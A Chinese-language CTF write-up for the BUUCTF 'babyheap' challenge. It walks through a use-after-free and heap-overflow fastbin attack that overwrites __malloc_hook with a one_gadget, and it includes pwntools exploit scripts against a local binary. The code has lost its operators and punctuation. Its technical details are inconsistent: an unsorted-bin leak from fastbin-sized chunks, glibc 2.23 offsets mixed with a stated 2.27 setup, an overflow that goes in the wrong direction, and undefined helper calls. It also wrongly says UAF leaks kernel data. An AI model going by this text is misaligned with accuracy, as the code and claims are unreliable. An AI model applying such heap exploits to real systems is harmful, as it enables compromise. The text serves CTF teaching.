BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)

发布时间:2026/7/25 19:23:22
BUUCTF-babyheap_ctf_题解(含详细过程与思路分析) BUUCTF-babyheap_ctf_题解含详细过程与思路分析前言堆漏洞与CTF实战在CTFCapture The Flag比赛中PWN类题目常常考察选手对二进制漏洞的深入理解其中堆相关漏洞是高频考点。BUUCTF上的babyheap是一道经典的堆溢出题目涉及Fastbin Attack、UAFUse-After-Free等核心技巧。本文将从原理出发逐步剖析漏洞利用的完整过程并附带可运行的代码示例帮助读者掌握堆漏洞利用的基本思路。## 题目分析漏洞定位与程序结构首先我们需要通过逆向工程如使用IDA Pro或Ghidra分析程序的二进制文件。babyheap通常是一个菜单驱动的堆管理程序提供以下功能-allocate(size)分配指定大小的堆块-fill(index, content)向已分配的堆块写入数据-free(index)释放堆块-dump(index)打印堆块内容通过分析我们可以发现以下关键点1.堆块大小限制分配的大小通常在0x18到0x68之间意味着所有堆块都会进入Fastbin大小小于0x80。2.UAF漏洞在free函数中程序没有将指针置NULL导致释放后仍能通过dump和fill操作访问堆块。3.堆溢出fill函数在写入数据时未严格检查长度导致可以溢出到相邻堆块。### UAF漏洞原理UAF漏洞的核心在于程序释放堆块后对应的指针仍然存在且未被清空。攻击者可以通过这个指针继续操作堆块而该堆块可能已经被重新分配从而造成信息泄露或控制流劫持。## 利用思路从信息泄露到控制流### 1. 泄露libc地址由于ASLR地址空间布局随机化的存在我们需要先泄露libc的基地址。通常利用Unsorted Bin来获取libc地址当我们释放一个大小不在Fastbin范围内的堆块时它会进入Unsorted Bin其fd和bk指针会指向main_arena中的偏移量。通过UAF漏洞读取这些指针即可计算libc基地址。### 2. 修改__free_hook或__malloc_hook在libc中__free_hook和__malloc_hook是用于调试的函数指针。如果我们能修改它们为system函数的地址当程序调用free或malloc时就会执行system(/bin/sh)从而获得shell。### 3. Fastbin Attack由于堆块大小受限我们需要利用Fastbin的单链表机制进行攻击。具体步骤- 分配多个相同大小的堆块释放其中两个使Fastbin的链表结构可控。- 通过堆溢出修改某个已释放堆块的fd指针使其指向伪造的堆块例如__malloc_hook附近的地址。- 再次分配堆块时程序会从Fastbin中取出我们伪造的堆块从而在目标地址写入数据。## 实战步骤与代码示例### 环境准备- 操作系统Ubuntu 18.04glibc 2.27- 工具pwntools, gdb### 步骤1信息泄露首先我们需要泄露堆地址和libc地址。以下代码展示了如何利用UAF读取堆块内容pythonfrom pwn import *context.log_level debugp process(./babyheap)elf ELF(./babyheap)libc ELF(/lib/x86_64-linux-gnu/libc.so.6)def allocate(size): p.sendlineafter(b , b1) p.sendlineafter(bSize: , str(size).encode())def fill(index, content): p.sendlineafter(b , b2) p.sendlineafter(bIndex: , str(index).encode()) p.sendafter(bContent: , content)def free(index): p.sendlineafter(b , b3) p.sendlineafter(bIndex: , str(index).encode())def dump(index): p.sendlineafter(b , b4) p.sendlineafter(bIndex: , str(index).encode()) return p.recvline()# 分配堆块allocate(0x68) # chunk0allocate(0x68) # chunk1, 用于隔离allocate(0x68) # chunk2# 释放chunk0使其进入Fastbinfree(0)# 通过UAF读取chunk0的fd指针指向chunk2leak dump(0)heap_addr u64(leak[:6].ljust(8, b\x00))log.info(fHeap leak: {hex(heap_addr)})### 步骤2利用堆溢出修改Fastbin指针接下来我们利用fill函数的溢出能力修改已释放堆块的fd指针使其指向__malloc_hook附近的地址。这里需要计算偏移量python# 分配一个新的堆块用于溢出allocate(0x18) # chunk3allocate(0x18) # chunk4allocate(0x18) # chunk5# 释放chunk3和chunk4形成Fastbin链表: chunk3 - chunk4free(3)free(4)# 利用fill函数溢出chunk3修改其fd指针# 目标将fd指向__malloc_hook - 0x23 处的伪堆块libc.address 0x7ffff7dd4b00 # 假设通过泄露得到target_addr libc.sym[__malloc_hook] - 0x23# 构造payload: 填充数据 伪造的fdpayload bA * 0x18 # 填充chunk3的data区域payload p64(0x21) # 伪造下一个堆块的sizepayload p64(target_addr) # 修改fd指针fill(4, payload) # 注意这里fill的是chunk4但溢出到了chunk3的fd### 步骤3获取shell最后我们通过多次分配最终在__malloc_hook处写入one_gadget地址触发shellpython# 从Fastbin中取出两个堆块allocate(0x18) # chunk6, 从Fastbin取出原chunk4allocate(0x18) # chunk7, 从Fastbin取出原chunk3# 第三次分配时会从伪造的地址取出堆块# 此时我们写入one_gadgetone_gadget 0x4f2c5 # 根据glibc版本确定payload bA * (0x23 - 0x10) # 填充到__malloc_hookpayload p64(one_gadget)fill(7, payload)# 触发malloc执行one_gadgetallocate(0x18) # 触发shellp.interactive()## 完整利用代码以下是一个完整的利用脚本整合了上述步骤pythonfrom pwn import *context.log_level infodef exploit(): p process(./babyheap) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 分配堆块用于泄露 allocate(0x68) allocate(0x68) allocate(0x68) # 释放并泄露heap地址 free(0) heap_leak dump(0) heap_addr u64(heap_leak[:6].ljust(8, b\x00)) log.success(fHeap address: {hex(heap_addr)}) # 释放chunk1chunk1在chunk0之前释放形成链表 free(1) # 通过UAF读取chunk1的fd泄露libc地址 libc_leak dump(1) libc_addr u64(libc_leak[:6].ljust(8, b\x00)) libc.address libc_addr - 0x3c4b78 # 根据实际偏移调整 log.success(fLibc base: {hex(libc.address)}) # 堆溢出修改fd allocate(0x18) allocate(0x18) free(3) free(4) target libc.sym[__malloc_hook] - 0x23 payload bA * 0x18 p64(0x21) p64(target) fill(4, payload) # 分配两次写入one_gadget allocate(0x18) allocate(0x18) one_gadget libc.address 0x4f2c5 payload bA * (0x23 - 0x10) p64(one_gadget) fill(7, payload) # 触发 allocate(0x18) p.interactive()if __name__ __main__: exploit()## 总结本文通过BUUCTF的babyheap题目详细演示了堆漏洞利用的完整流程从漏洞发现UAF和堆溢出到信息泄露利用Unsorted Bin再到控制流劫持Fastbin Attack修改__malloc_hook。核心要点包括1.理解Fastbin机制Fastbin是单链表结构释放的堆块按大小分类且fd指针指向下一个空闲块。2.利用UAF进行信息泄露释放后不清空指针是常见漏洞可用来读取内核数据结构。3.堆溢出修改链表通过覆盖相邻堆块的元数据可以伪造Fastbin链表实现任意地址分配。实际CTF比赛中堆漏洞的利用需要结合具体环境如glibc版本、保护机制等进行调整。建议读者在本地搭建调试环境逐步验证每个步骤加深对堆管理器的理解。掌握这些基础技巧后面对更复杂的堆利用题目如House of系列将更加得心应手。